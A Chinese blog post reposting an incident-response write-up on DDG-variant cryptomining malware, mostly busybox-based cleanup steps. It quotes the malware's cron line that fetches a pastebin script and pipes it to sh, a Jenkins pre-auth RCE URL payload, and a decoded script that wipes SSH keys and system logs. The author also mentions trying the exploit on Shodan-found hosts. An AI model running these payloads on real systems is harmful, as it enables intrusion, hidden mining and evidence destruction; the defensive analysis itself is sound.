Linux服务器运行一段时间,出现CPU占用率达到100%卡死
没事整了一个1核2G的便宜服务器,虽说便宜吧,但是搞个博客网站啥的也还是够用了;但是呢,最近服务器过几天就会出先CPU占用率达到100%;系统完全卡死,项目请求一个都访问不了,或者就是超级长时间才能得到应答。一开始还没在意,重启一下服务器就好了,可经常出现,重启也难受啊!后来百度好久才知道可能是被黑了,所以就到处找问题,啥子定时任务,脚本,一个个的看,可以说,把服务器文件结构又熟悉了一遍,终于是找到了一堆垃圾文件,确定了是真的被黑了。其实我还是搞不懂,我这么小个服务器咋也被盯上了。最后通过下面这篇文章解决了问题,特此转载过来分享一下!
原文标题:关于Linux下变种DDG挖矿应急处理心得
原文作者: 瓦都剋
原文链接: http://byd.dropsec.xyz/2019/02/23/关于Linux下变种DDG挖矿应急处理心得/
背景
春节刚过,黑产团队就开始了新的一年的工作。21日晚上九点多,正准备回家享受快乐时光呢,钉钉就响了,客户应急来了,8台机器感染挖矿木马病毒。根据今天看的默安科技发的文章说是”Linux DDG变种挖矿病毒”,挖矿病毒这两年也处了不少了,但是这次的应急受益匪浅,感触颇深,值得记录一下。
0x00 事件处理过程
0x01 传播途径
此次事件从网上收集了下,途径不止有被通报的Redis,
- Jenkins RCE 漏洞
- Nexus RCE 漏洞
- Redis未授权访问or弱口令
然后被感染后受害者会尝试进行对外或内网SSH爆破、Redis探测并入侵
0x02 处理流程
4.1、获取busybox
为什么要获取busybox?这就是此次事件的特别之处,如果你使用top、ps等系统命令是看不到挖矿进程的,因为挖矿病毒修改了系统的动态链接库配置文件/etc/ld.so.preload
内容并引用了/usr/local/lib/libioset.so
,所以有些运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制,是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root
文件被刷写为病毒定时执行命令。
而busybox是静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload
的劫持,能够正常操作文件。
cd /bin/
wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
chmod 755 busybox
PS: 这里跟客户学到个命令,这条命令也是可以显示恶意进程的,有兴趣的可以查查。
perf top -s pid,comm,dso,symbol
4.2、病毒文件
/tmp/ksoftirqds
/tmp/watchdogs
4.3、关闭crontab
service crond stop
systemctl stop crond
4.4、修改hosts
修改/etc/hosts
来屏蔽病毒脚本下载,域名为解密sh文件之后出现的两个域名。
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
4.5、删除,创建,并锁定 crontab相关文件
使用chattr
加i
属性来防止文件被修改,查看具有哪些属性使用lsattr
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
4.6、备份重要的crontab,然后删除cron.d目录的其他文件
busybox rm -f /etc/cron.d/*
4.7、检查并删除下面目录是否有异常文件
busybox ls -al /etc/cron.daily
busybox ls -al /etc/cron.hourly
busybox ls -al /etc/cron.monthly
busybox ls -al /etc/cron.weekly
4.8、删除病毒相关执行文件和启动脚本
busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f
4.9、删除病毒进程
busybox pkill watchdogs
busybox pkill ksoftirqds
也可以使用:
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
4.10、删除被preload的so库
busybox rm -f /usr/local/lib/libioset.so
busybox rm -f /etc/ld.so.preload
busybox rm -f /etc/ld.so.cache
4.11、验证libioset.so被卸载
lsof |grep usr/local/lib/libioset.so
echo $LD_PRELOAD
若结果为空, 则该动态链接库被卸载;
若有输出,kill掉占用的进程,重复执行该步骤;
若反复执行后无法成功卸载该动态链接库,请执行服务重启操作。
4.12、一键清理脚本
默安科技发了一个一键清理脚本,在此基础上,自己改了改。
wget http://www.w2n1ck.com/clear.sh
0x03 事件总结
此次事件客户有9台服务器被感染,其中主要的一台是我们拿到信息之后发现只开放了,Nginx-80和Jenkins-8080,然后就被误导了。。。
首先使用了CVE-2019-1003000-jenkins-rce-poc,但是这个漏洞是需要具有Overall/Read
”权限的用户才能完成。然后想起来前两天Orange发了个PreAuth的
Part 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Part 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
POC:
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC
URL Payload:
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;
但是我利用这个POC是可以打成功在shodan上的,但是没办法客户的无法成功,一度相当困惑。
后来看到异常文件:
然后想起来前两天RR大佬也爆了个Nexus的RCE,Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】,然后试了下,成功了
剩下的几台就是Redis未授权访问导致的了,具体可以参考:未授权访问漏洞总结
彩蛋
这次应急让我意外的是恶意的下载的sh脚本
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
访问之后base64解密看到之后相当惊喜:
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
这是啥?这本来是攻击者为了让服务器资源都用在自己的挖矿进程上,关闭其他可能存在的挖矿及DDoS木马。
这TM真是良心啊!都不用整理了!以后遇到挖矿的事件拿出来一把梭!!!
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
使用chattr解锁相关文件,并删除;清除CPU占用率超过百分之80的进程
if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
清除billgates挖矿木马相关文件、进程。
echo 0>/root/.ssh/authorized_keys #清除ssh密钥内容
echo 0>/var/spool/mail/root #清除邮件内容
echo 0>/var/log/wtmp #清除登录日志
echo 0>/var/log/secure #清除安全日志
echo 0>/var/log/cron #清除计划任务日志
总体来说此次挖矿的幕后操作者相当的良心,诚意满满!学到了!
Linux服务器运行一段时间,出现CPU占用率达到100%卡死的更多相关文章
- linux上限制用户进程数、cpu占用率、内存使用率
限制进程CPU占用率的问题,给出了一个shell脚本代码如下: renice +10 `ps aux | awk '{ if ($3 > 0.8 && id -u $1 > ...
- docker运行容器后agetty进程cpu占用率100%
1.最近在使用docker容器的时候,发现宿主机的agetty进程cpu占用率达到100% 在Google上搜了下,引起这个问题的原因是在使用"docker run"运行容器时使用 ...
- IIS服务器运行一段时间后卡死,且无法打开网站(IIS管理无响应,必须重启电脑)
问题描述: 公司希望使用IIS配合网站显示一些订单跟进的情况并展示出来,所以我们在一台演示的Win7 Pro电脑上安装了IIS,但使用了一段时间后发现每过几天页面就无法正常访问了,而且打开IIS管理器 ...
- [Linux小技巧] 一行命令让CPU占用率达到100%
for i in `seq 1 $(cat /proc/cpuinfo |grep "physical id" |wc -l)`; do dd if=/dev/zero of=/d ...
- linux下如何获取每个线程的CPU占用率
啥也不说,直接上脚本: root@Storage:/mnt/mtd# cat cpu.sh #!/bin/sh while truedo ps -H -eo user,pid,ppid, ...
- Spring Boot定时任务运行一段时间后自动关闭的解决办法
用Spring Boot默认支持的 Scheduler来运行定时任务,有时在服务器运行一段时间后会自动关闭.原因:Schedule默认是单线程运行定时任务的,即使是多个不同的定时任务,默认也是单线程运 ...
- 为什么ps中CPU占用率会有超出%100的现象?
前面的关于ps中的%CPU的含义一文已经介绍了CPU占用率的含义,那么为什么有时会在ps的输出中看到CPU占用率超出%100的现象呢?我们知道在/proc目录下每个进程都会有一个以它的PID以名字的目 ...
- liteos CPU占用率(十六)
1. 概述 1.1 基本概念 CPU(中央处理器, Central Processing Unit)占用率可以分为系统CPU占用率和任务CPU占用率两种. 系统CPU占用率(CPU Percent)是 ...
- # 【ARM-Linux开发】在Win7的电脑上直接运行安装Ubuntu14.04发生的问题 标签(空格分隔): 【Linux开发】 --- > 一段时间以来,一直是在Windows上安装虚拟机
[ARM-Linux开发]在Win7的电脑上直接运行安装Ubuntu14.04发生的问题 标签(空格分隔): [Linux开发] 一段时间以来,一直是在Windows上安装虚拟机,然后安装Ubuntu ...
随机推荐
- 【代码审计】VAuditDemo 命令注入漏洞
一般PHP中可以使用下列函数来执行外部的应用程序或命令 system() exec() passthru() shell_exec() 跟踪$cmd --> 跟进$target,发现传递给tar ...
- Many Formulas
You are given a string S consisting of digits between 1 and 9, inclusive. You can insert the letter ...
- Cisco Umbrella WLAN
Cisco Umbrella WLAN在域名系统(DNS)级别提供云交付网络安全服务,可自动检测已知和紧急威胁. 此功能允许您在实际恶意攻击之前阻止托管恶意软件,僵尸网络和网络钓鱼的站点. Cisco ...
- Nexus 3048的NX-OS升级方法
1.System Software和Kick Start 与普通IOS设备不同,NX OS升级时,共有2个文件需要升级.安装,如果只安装其中一个,可能会导致设备重启后无法进入系统.这2个文件包括: N ...
- ASA密码恢复流程
1.建立console连接2.重启启动安全设备 3.进入ROMMMON模式出现Use BREAK or ESC to interrupt boot字样时,按下ESC键进入ROMMON模式.4.设置RO ...
- 大道至简第一章JAVA伪代码形式读后感
//愚公移山: public class YuGongYiShan{ //原始需求:“惩山北之塞,出入之迂” //沟通方式:“聚室而谋曰” //项目目标:“毕力平险,指通豫南,达于汉阴” //技术方案 ...
- Vacuum Pump Manufacturer Introduction: Airless Pump Bottle
Fillable vacuum pump bottle with matt silver aluminum base and cap and shiny silver aluminum collar. ...
- 解决idea创建maven项目无java
在idea上创建maven-archetype-webapp项目后发现无法创建java文件然后参考此博客得以解决 https://www.cnblogs.com/mywangpingan/p/9448 ...
- js判断对象中是否存在某一项和判断是否是对象
1.判断是否为对象 let str = { name: '第一', age: 12 } console.log(typeof str== "object") 2.判断对象中是否有某 ...
- uniapp - 手机调试 ( vivo )
打开开发者选项,打开USB设置,把默认USB选项改成MIDI模式,就可以检测到手机